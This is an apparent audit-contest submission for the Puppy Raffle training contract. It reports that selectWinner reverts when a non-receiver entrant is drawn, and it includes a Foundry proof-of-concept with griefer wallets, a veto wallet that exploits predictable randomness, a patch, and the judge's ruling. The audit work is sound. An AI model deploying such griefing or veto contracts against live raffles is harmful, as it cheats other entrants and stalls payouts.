Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

selectWinner pushes the prize with a required call and then calls _safeMint, so a drawn entrant that cannot accept ETH or an ERC721 reverts the whole draw: such entrants pay full price but can never win, and settlement is delayed

friedsocks233

Root + Impact

Description

  • After the raffle period ends, selectWinner should pick a random entrant, send them 80% of the pot and mint them a puppy NFT. Every paid ticket should have the same chance of winning, and any caller should be able to settle the round.

  • selectWinner pushes the prize with winner.call{value: prizePool}("") and requires it to succeed (L151-152). It then calls _safeMint(winner, tokenId) (L153). In the pinned OZ 3.4.0, that call reverts for address(0) and for any contract that does not return the onERC721Received magic value. Because there is no pull or claim fallback, and enterRaffle (L79-83) accepts any address, every draw that lands on an entrant who cannot take ETH or the NFT reverts. That entrant pays full price but can never win, and its fee funds another player's prize.

// src/PuppyRaffle.sol L79-L83 (enterRaffle accepts any address, including contracts without receivers, address(this) and address(0))
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]); // @>
}
​
// src/PuppyRaffle.sol L148-L154 (selectWinner: required ETH push, then _safeMint, no fallback)
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}(""); // @>
require(success, "PuppyRaffle: Failed to send prize pool to winner"); // @>
_safeMint(winner, tokenId); // @>
}

Risk

Likelihood:

  • The revert happens on every draw whose index lands on an entrant that lacks a payable receive/fallback or lacks onERC721Received. Contract wallets and other smart-contract entrants are a realistic share of players. Mainstream wallets such as Safe accept both, which keeps this at Medium rather than High.

  • The README and natspec set no EOA-only restriction, so nothing stops such entrants. Entering address(raffle) or address(0) is also accepted. That loss falls on the payer, and the address(0) case overlaps the refunded-blank-slot finding.

  • The chance that a given draw reverts equals the share of such slots in the round. In the PoC, 4 of 8 griefer slots made 21 of 40 draws revert, and a round made up only of such slots reverted on all 30 draws.

Impact:

  • The protocol loses no funds. Each reverted draw rolls back all state: the PoC checks that balance, players, raffleStartTime and previousWinner are unchanged. selectWinner is permissionless, so anyone can retry from another address or block. Settlement is delayed rather than frozen, unless every slot is a non-receiver; then it stays stuck until an honest entrant joins and is drawn.

  • The affected entrant pays the full entrance fee but has zero chance of winning, and that fee ends up in another winner's prize (PoC: the EOA winner receives 3.2 ETH, including the wallet's 1 ETH). A wallet without a payable receive also cannot refund, because sendValue at L101 reverts, so its fee is stranded.

  • Because the callback runs after rarity is written (L141-145), a winning contract can revert in onERC721Received to reject a non-legendary puppy. This matters only together with the predictable-RNG finding.

Proof of Concept

The Foundry suite test/PoC_PR-10.t.sol has six tests, and all of them pass. A baseline test confirms that the test's index predictor matches the contract's RNG. A contract wallet without onERC721Received reverts with "ERC721: transfer to non ERC721Receiver implementer" on 10 draws while state is unchanged. A wallet without a payable receive reverts at L152 and cannot refund. Slots holding address(raffle) and address(0) revert their draws. Griefer slots make 21 of 40 draws revert, and all 30 draws revert when every slot is a griefer slot. A veto wallet rejects a non-legendary roll. Run it with forge test --match-path test/PoC_PR-10.t.sol -vv.

File test/PoC_PR-10.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-10.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// PR-10: selectWinner pushes the prize with `winner.call{value: prizePool}("")` + require (L151-152)
/// and then `_safeMint(winner, tokenId)` (L153). There is no pull/claim fallback and enterRaffle
/// (L79-83) accepts arbitrary addresses. Any drawn slot that cannot take ETH, cannot take an ERC721
/// via onERC721Received, or is address(0) makes the whole draw revert, so that ticket can never win.
​
/// Smart-contract wallet that accepts ETH but does NOT implement onERC721Received.
contract EthOnlyWallet {
function enter(PuppyRaffle raffle) external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
​
receive() external payable {}
}
​
/// Smart-contract wallet that implements onERC721Received but has NO payable receive/fallback.
contract NftOnlyWallet {
function enter(PuppyRaffle raffle) external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
​
function tryRefund(PuppyRaffle raffle, uint256 idx) external {
raffle.refund(idx);
}
​
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return bytes4(0x150b7a02);
}
}
​
/// Wallet that accepts ETH and NFTs, but vetoes (reverts) any non-legendary puppy.
contract VetoWallet {
PuppyRaffle public immutable raffle;
​
constructor(PuppyRaffle r) {
raffle = r;
}
​
function enter() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
​
receive() external payable {}
​
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external view returns (bytes4) {
require(raffle.tokenIdToRarity(tokenId) == raffle.LEGENDARY_RARITY(), "Veto: puppy not legendary");
return bytes4(0x150b7a02);
}
}
​
contract PoC_PR10 is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1 ether;
uint256 constant DURATION = 1 days;
address constant FEE_ADDR = address(0xFEE);
​
function setUp() public {
raffle = new PuppyRaffle(FEE, FEE_ADDR, DURATION);
vm.deal(address(this), 1000 ether);
}
​
// ---------------------------------------------------------------- helpers
​
function _eoa(uint256 i) internal pure returns (address) {
return address(uint160(0xE0A0000 + i)); // code-less accounts
}
​
function _caller(uint256 k) internal pure returns (address) {
return address(uint160(0xCA11E50000 + k)); // fresh keeper addresses for selectWinner
}
​
/// Mirrors L128-129 exactly.
function _predictIndex(address caller, uint256 n) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % n;
}
​
/// Mirrors L139.
function _predictRarity(address caller) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.difficulty))) % 100;
}
​
/// First caller (from nonce `from`) whose draw lands on `target`.
function _callerHitting(uint256 target, uint256 n, uint256 from) internal view returns (address, uint256) {
for (uint256 k = from; k < from + 10000; k++) {
if (_predictIndex(_caller(k), n) == target) return (_caller(k), k + 1);
}
revert("no caller found");
}
​
function _enterEoas(uint256 count, uint256 offset) internal returns (address[] memory eoas) {
eoas = new address[](count);
for (uint256 i = 0; i < count; i++) {
eoas[i] = _eoa(offset + i);
}
raffle.enterRaffle{value: FEE * count}(eoas);
}
​
function _warpPastEnd() internal {
vm.warp(raffle.raffleStartTime() + DURATION + 1);
}
​
function _selectWinnerAs(address caller) internal returns (bool ok) {
vm.prank(caller);
(ok,) = address(raffle).call(abi.encodeWithSelector(PuppyRaffle.selectWinner.selector));
}
​
// ---------------------------------------------------------------- baseline
​
/// Baseline: an all-EOA round settles; the predictor matches the contract's RNG.
function test_Baseline_EOAWinnerGetsPrizeAndNft() public {
address[] memory eoas = _enterEoas(4, 0);
_warpPastEnd();
​
address keeper = _caller(0);
uint256 idx = _predictIndex(keeper, 4);
vm.prank(keeper);
raffle.selectWinner();
​
address winner = raffle.previousWinner();
assertEq(winner, eoas[idx], "predictor matches L128-129");
assertEq(winner.balance, 3.2 ether, "winner got 80% of 4 ETH");
assertEq(raffle.ownerOf(0), winner, "winner got the puppy NFT");
console.log("baseline winner index", idx);
}
​
// ---------------------------------------------------------------- limb 1a
​
/// A contract wallet that accepts ETH but lacks onERC721Received pays full price,
/// yet every draw that picks it reverts; only EOA draws can settle, funded by its fee.
function test_Limb1_EthOnlyWalletPaysFullPriceButCanNeverWin() public {
address[] memory eoas = _enterEoas(3, 0);
EthOnlyWallet wallet = new EthOnlyWallet();
wallet.enter{value: FEE}(raffle);
uint256 walletIdx = 3;
assertEq(raffle.players(walletIdx), address(wallet));
assertEq(address(wallet).balance, 0, "wallet paid the full entrance fee");
assertEq(address(raffle).balance, 4 ether);
_warpPastEnd();
​
uint256 startTime = raffle.raffleStartTime();
uint256 hits;
uint256 nonce;
while (hits < 10) {
address caller;
(caller, nonce) = _callerHitting(walletIdx, 4, nonce);
vm.prank(caller);
vm.expectRevert(bytes("ERC721: transfer to non ERC721Receiver implementer"));
raffle.selectWinner();
hits++;
// Revert rolls everything back: no funds lost, round intact.
assertEq(address(raffle).balance, 4 ether);
assertEq(raffle.players(walletIdx), address(wallet));
assertEq(raffle.raffleStartTime(), startTime);
assertEq(raffle.previousWinner(), address(0));
assertEq(address(wallet).balance, 0);
}
console.log("draws landing on EthOnlyWallet that reverted:", hits);
​
// A draw that lands on an EOA settles: the wallet's fee funds the EOA's prize.
uint256 k = 0;
while (_predictIndex(_caller(k), 4) == walletIdx) k++;
uint256 eoaIdx = _predictIndex(_caller(k), 4);
vm.prank(_caller(k));
raffle.selectWinner();
assertEq(raffle.previousWinner(), eoas[eoaIdx]);
assertEq(eoas[eoaIdx].balance, 3.2 ether, "prize includes the wallet's 1 ETH");
assertEq(raffle.balanceOf(address(wallet)), 0, "wallet never got an NFT");
assertEq(address(wallet).balance, 0, "wallet lost its fee");
}
​
// ---------------------------------------------------------------- limb 1b
​
/// A contract wallet with onERC721Received but no payable receive fails at L151-152,
/// and it cannot even refund (sendValue at L101 reverts), so its fee is stranded in the pot.
function test_Limb1b_NftOnlyWalletFailsAtPrizePushAndCannotRefund() public {
_enterEoas(3, 0);
NftOnlyWallet wallet = new NftOnlyWallet();
wallet.enter{value: FEE}(raffle);
uint256 walletIdx = 3;
_warpPastEnd();
​
(address caller,) = _callerHitting(walletIdx, 4, 0);
vm.prank(caller);
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
assertEq(address(raffle).balance, 4 ether, "no funds moved");
​
vm.expectRevert(bytes("Address: unable to send value, recipient may have reverted"));
wallet.tryRefund(raffle, walletIdx);
assertEq(raffle.players(walletIdx), address(wallet), "still occupies the slot");
}
​
// ---------------------------------------------------------------- limb 2
​
/// Arbitrary addresses: address(raffle) and address(0) can be entered; draws picking them
/// revert, and neither slot can ever be refunded.
function test_Limb2_RaffleAndZeroAddressSlotsRevertAndAreUnrefundable() public {
address[] memory entrants = new address[](4);
entrants[0] = _eoa(0);
entrants[1] = _eoa(1);
entrants[2] = address(raffle);
entrants[3] = address(0);
raffle.enterRaffle{value: 4 ether}(entrants);
assertEq(raffle.players(2), address(raffle));
assertEq(raffle.players(3), address(0));
_warpPastEnd();
​
(address c2,) = _callerHitting(2, 4, 0);
vm.prank(c2);
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
​
(address c3,) = _callerHitting(3, 4, 0);
vm.prank(c3);
vm.expectRevert(bytes("ERC721: mint to the zero address"));
raffle.selectWinner();
​
// Neither slot can be refunded, even by a party impersonating the slot address.
vm.prank(address(raffle));
vm.expectRevert(bytes("Address: unable to send value, recipient may have reverted"));
raffle.refund(2);
vm.prank(address(0));
vm.expectRevert(bytes("PuppyRaffle: Player already refunded, or is not active"));
raffle.refund(3);
assertEq(address(raffle).balance, 4 ether, "nothing moved");
​
// Only an EOA slot can win; its prize contains the 2 ETH paid for the dead slots.
(address c0,) = _callerHitting(0, 4, 0);
vm.prank(c0);
raffle.selectWinner();
assertEq(raffle.previousWinner(), _eoa(0));
assertEq(_eoa(0).balance, 3.2 ether);
}
​
// ---------------------------------------------------------------- limb 3
​
/// A griefer holding several non-receiver slots makes a share of draws revert (delay),
/// and if it holds every slot, settlement is stuck until an honest entrant joins.
function test_Limb3_GrieferSlotsDelaySettlement() public {
// Part A: 4 honest EOAs + 4 griefer EthOnlyWallet slots (griefer pays 4 ETH).
address[] memory eoas = _enterEoas(4, 0);
address payable griefer = payable(address(0x6EEF));
vm.deal(griefer, 4 ether);
for (uint256 i = 0; i < 4; i++) {
EthOnlyWallet w = new EthOnlyWallet();
vm.prank(griefer);
w.enter{value: FEE}(raffle);
}
assertEq(griefer.balance, 0, "griefer paid 4 ETH for its slots");
_warpPastEnd();
​
// Same keeper retries over consecutive blocks (timestamps).
address keeper = address(0xBEEF);
uint256 base = block.timestamp;
uint256 reverts;
uint256 successes;
for (uint256 t = 0; t < 40; t++) {
vm.warp(base + t * 12);
uint256 idx = _predictIndex(keeper, 8);
uint256 snap = vm.snapshotState();
bool ok = _selectWinnerAs(keeper);
if (idx >= 4) {
assertTrue(!ok, "griefer slot drawn -> revert");
reverts++;
} else {
assertTrue(ok, "honest slot drawn -> settles");
assertEq(raffle.previousWinner(), eoas[idx]);
successes++;
}
vm.revertToState(snap);
}
console.log("8 slots (4 griefer): reverted draws", reverts);
console.log("8 slots (4 griefer): settled draws ", successes);
assertGt(reverts, 0);
assertGt(successes, 0);
​
// Part B: fresh raffle where EVERY slot is a non-receiver: no draw can settle.
raffle = new PuppyRaffle(FEE, FEE_ADDR, DURATION);
for (uint256 i = 0; i < 4; i++) {
new EthOnlyWallet().enter{value: FEE}(raffle);
}
_warpPastEnd();
for (uint256 k = 0; k < 30; k++) {
assertTrue(!_selectWinnerAs(_caller(k)), "all-griefer round: every draw reverts");
}
assertEq(address(raffle).balance, 4 ether);
console.log("all-griefer round: 30/30 draws reverted");
​
// Liveness returns only after an honest entrant joins, and only when it is drawn.
address honest = _eoa(100);
address[] memory one = new address[](1);
one[0] = honest;
raffle.enterRaffle{value: FEE}(one);
(address c,) = _callerHitting(4, 5, 0);
vm.prank(c);
raffle.selectWinner();
assertEq(raffle.previousWinner(), honest);
assertEq(honest.balance, 4 ether, "honest entrant wins 80% of 5 ETH");
}
​
// ---------------------------------------------------------------- limb 4
​
/// A winning contract can veto an unfavourable puppy by reverting in onERC721Received
/// (rarity is already written at L141-145 before _safeMint), and accept only a legendary one.
function test_Limb4_WinnerContractVetoesNonLegendaryOutcome() public {
_enterEoas(3, 0);
VetoWallet veto = new VetoWallet(raffle);
veto.enter{value: FEE}();
uint256 vetoIdx = 3;
_warpPastEnd();
​
address cBad;
address cGood;
for (uint256 k = 0; k < 20000 && (cBad == address(0) || cGood == address(0)); k++) {
address c = _caller(k);
if (_predictIndex(c, 4) != vetoIdx) continue;
if (_predictRarity(c) > 95) {
if (cGood == address(0)) cGood = c;
} else if (cBad == address(0)) {
cBad = c;
}
}
require(cBad != address(0) && cGood != address(0), "search failed");
console.log("rarity roll on vetoed draw ", _predictRarity(cBad));
console.log("rarity roll on accepted draw", _predictRarity(cGood));
​
vm.prank(cBad);
vm.expectRevert(bytes("Veto: puppy not legendary"));
raffle.selectWinner();
assertEq(raffle.previousWinner(), address(0), "vetoed draw rolled back");
​
vm.prank(cGood);
raffle.selectWinner();
assertEq(raffle.ownerOf(0), address(veto));
assertEq(raffle.tokenIdToRarity(0), raffle.LEGENDARY_RARITY(), "veto wallet kept only a legendary");
assertEq(address(veto).balance, 3.2 ether);
}
}

Recommended Mitigation

--- a/src/PuppyRaffle.sol
+++ b/src/PuppyRaffle.sol
@@ -29,4 +29,8 @@
address public feeAddress;
uint64 public totalFees = 0;
+ // prizes owed to winners, withdrawn with claimPrize()
+ mapping(address => uint256) public pendingPrizes;
+ uint256 public totalPendingPrizes;
+
// mappings to keep track of token traits
@@ -79,6 +83,7 @@
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(newPlayers[i] != address(0) && newPlayers[i] != address(this), "PuppyRaffle: Invalid player");
players.push(newPlayers[i]);
}
@@ -148,13 +153,22 @@
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
+ pendingPrizes[winner] += prizePool;
+ totalPendingPrizes += prizePool;
+ _mint(winner, tokenId);
+ }
+
+ function claimPrize() external {
+ uint256 amount = pendingPrizes[msg.sender];
+ require(amount > 0, "PuppyRaffle: Nothing to claim");
+ pendingPrizes[msg.sender] = 0;
+ totalPendingPrizes -= amount;
+ payable(msg.sender).sendValue(amount);
}
/// @notice this function will withdraw the fees to the feeAddress
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance == uint256(totalFees) + totalPendingPrizes, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!